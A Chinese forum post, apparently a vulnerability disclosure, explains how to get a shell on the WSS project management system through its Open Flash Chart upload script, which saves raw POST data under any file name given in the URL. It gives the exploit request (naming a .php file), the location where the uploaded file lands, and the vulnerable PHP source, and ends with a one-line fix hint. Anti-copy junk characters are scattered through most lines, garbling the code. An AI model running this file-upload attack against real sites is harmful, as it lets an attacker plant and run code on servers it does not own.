WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
( t5 O+ b& D1 M9 f 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

" Z; R% w2 w8 k5 J  L, ^% d利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

: v* j# H2 W: D. ~Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php


最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
- \' m/ M2 }  P
<?php
) }% p$ \4 q/ @- O: o& J
! K" l! U- {5 @* s' h( ~//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
$ I! P+ s+ K4 k) l/ M# w//
* V5 m- s# r4 O2 i5 @* k$ v0 b
/*

print_r( $_GET );
# P$ [1 u) I9 f- n" z. hprint_r( $_POST );
print_r( $_FILES );
* b* J( Y* h' {+ t# f
% F* F1 z4 W2 vprint_r( $GLOBALS );
7 p* W1 f4 t6 z2 Q3 X9 oprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
2 i, {- k& F. P: L
& u1 {4 i: G2 s7 Z8 K6 ^; |& k! X*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

+ i  S& k* M$ t' H// full path to the saved image including filename //
' v7 m% w7 |0 u! H$destination = $default_path . basename( $_GET[ 'name' ] );
0 F* W; e% u7 ~9 }6 E) ?
echo 'Saving your image to: '. $destination;
# A: U: s) M. \3 f) I// print_r( $_POST );
, v5 F7 A( y8 N) x$ E  Z// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

//
// POST data is usually string data, but we are passing a RAW .png
! g3 i# y1 Y& Q8 ^9 s  Y* B8 q// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
: o4 P' B7 p1 K8 Q# T  l8 @2 K0 u//
! \  V+ V+ v" B7 T) m
+ n- |, {1 _' K! E5 g7 E$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
5 |6 a: P! N# x& V% c+ G; ofclose($jfh);

- u' A: X. h( [//
// LOOK:
//
3 v* C( W* {3 ?" x' |, nexit();
//
5 k7 j$ I& ]' H: u. _: L9 b// PHP5:
1 i) K( O- h$ D' ~4 f% V" V$ K! E//
8 B( x% {' v* N+ ?
1 @" R- p; \3 }9 @6 r
// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
7 P  ~/ c) {' B- f8 R9 M5 x
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

- E4 ^8 ?1 d' t5 N7 M  U// full path to the saved image including filename //
) s. q* M. ?/ j1 |* @: c$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
: H: x/ j2 n' h/ H0 ~0 v- W    echo "FILE UPLOAD FAILED";
4 C. [7 a5 o% ~5 K# h5 n}
: |" ?# Y& l* U' t# I

?>
9 w# D0 m# {' B% I, b
2 P4 X8 L* S- p8 G' `


& }- v* M) H3 q# d  r, y0 x

修复方案：
0 R. ~9 J: h) x这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
+ ]- `' @& u9 n- M( X
$ R" p, C; k% X7 h! ~, }& Z


' m$ y/ Q: X3 o. v! w# ^